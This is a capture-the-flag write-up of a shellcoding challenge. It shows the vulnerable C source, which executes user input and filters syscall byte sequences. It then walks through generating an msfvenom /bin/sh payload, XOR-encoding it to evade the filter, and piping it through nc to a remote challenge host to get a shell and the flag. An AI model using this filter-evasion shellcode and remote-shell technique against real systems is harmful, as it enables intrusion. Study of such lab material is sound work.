💥 BINARY EXPLOITATION
Hint: 🔍🧬Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
void *shellcode;
size_t shellcode_size;
void vuln() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
shellcode = mmap((void *)0x26e45000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, 0, 0);
puts("Enter 0x1000:");
shellcode_size = read(0, shellcode, 0x1000);
for (int i = 0; i < shellcode_size; i++) {
uint16_t *scw = (uint16_t *)((uint8_t *)shellcode + i);
if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f) {
printf("Bad Byte at %d!\n", i);
exit(1);
}
}
puts("Executing shellcode!\n");
((void(*)())shellcode)();
}
int main() {
vuln();
return 0;
}
|
🔎 INITIAL OBSERVATION
1
| shellcode = mmap((void *)0x26e45000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, 0, 0);
|
This memory setup can be write down instructions and immediately carry them out. The PROT_READ|PROT_WRITE|PROT_EXEC flags together mean this memory can be read from, written to, and run as code.
1
2
3
4
| if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f) {
printf("Bad Byte at %d!\n", i);
exit(1);
}
|
This segment of code showing its banning direct system calls like ,syscalls,sysenter and int0x80 a traditional way to make system calls on 32 bit linux.
1
2
| puts("Executing shellcode!\n");
((void(*)())shellcode)();
|
If 0x80cd,0x340f,0x050f was called it will showing bad byte and if no bad byte not appear it will execute the shellcode.
🧨EXPLOITATION ANALYSIS
1
2
3
4
5
6
| (luna@faris)-[~/um]
└─$ msfvenom -p linux/x64/exec CMD="/bin/sh" -f raw > babysc.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes
|
Im just gonna use the msfvenom on this part.
1
2
3
4
| (luna@faris)-[~/um]
└─$ (cat babysc.bin; cat) | nc 34.133.69.112 10001
Enter 0x1000
Bad Byte at 42!
|
1
2
3
4
5
6
| (luna@faris)-[~/um]
└─$ hexdump -C babysc.bin
00000000 48 b8 2f 62 69 6e 2f 73 68 00 99 50 54 5f 52 66 |H./bin/sh..PT_Rf|
00000010 68 2d 63 54 52 e8 08 00 00 00 2f 62 69 6e 2f |h-cTR...../bin/|
00000020 73 68 00 56 57 54 5e 6a 3b 58 0f 05 |sh.VWT^j;X..|
0000002c
|
I been wondering why its saying bad byte on this and decide to use hexdump on this part and its obviously im calling direct syscalls on /bin/sh so i decide to use xor encoder to encode the shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| (luna@faris)-[~/Downloads]
└─$ msfvenom -p linux/x64/exec CMD="/bin/sh" -f raw -e x64/xor -o babysc.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
Saved as: babysc.bin
(luna@faris)-[~/Downloads]
└─$ hexdump -C babysc.bin
00000000 48 b1 c9 9e 48 81 e9 fa ff ff ff 48 8d 05 ef ff |H..H.......H....|
00000010 ff ff bb ef c8 f9 b6 62 b2 97 50 48 31 58 27 48 |....b..b.PH1X'H|
00000020 2d f8 ff ff ff e2 f4 a7 70 d6 d4 0b dc b8 23 87 |-...........p...#.|
00000030 c0 e0 6e 36 ed c5 36 87 e5 9a e2 3c e0 7f 58 ef |..n6..6......<.X.|
00000040 c8 f9 99 00 db f9 7f 9c a0 f9 e0 35 e6 c9 3a d4 |............5..:.|
00000050 90 f6 b3 62 b2 97 50 |...b..P|
00000057
|
Nice! We can see that its no longer using direct syscalls.
🎉 Result
1
2
3
4
5
6
7
8
9
10
| (luna@faris)-[~/um]
└─$ (cat babysc.bin; cat) | nc 34.133.69.112 10001
Enter 0x1000
Executing shellcode!
ls
babysc
flag.txt
limauaiakosong
supgais
|
1
| Flag:umcs{shellcoding_78b18b51641a3d8ea260e91d7d05295a}
|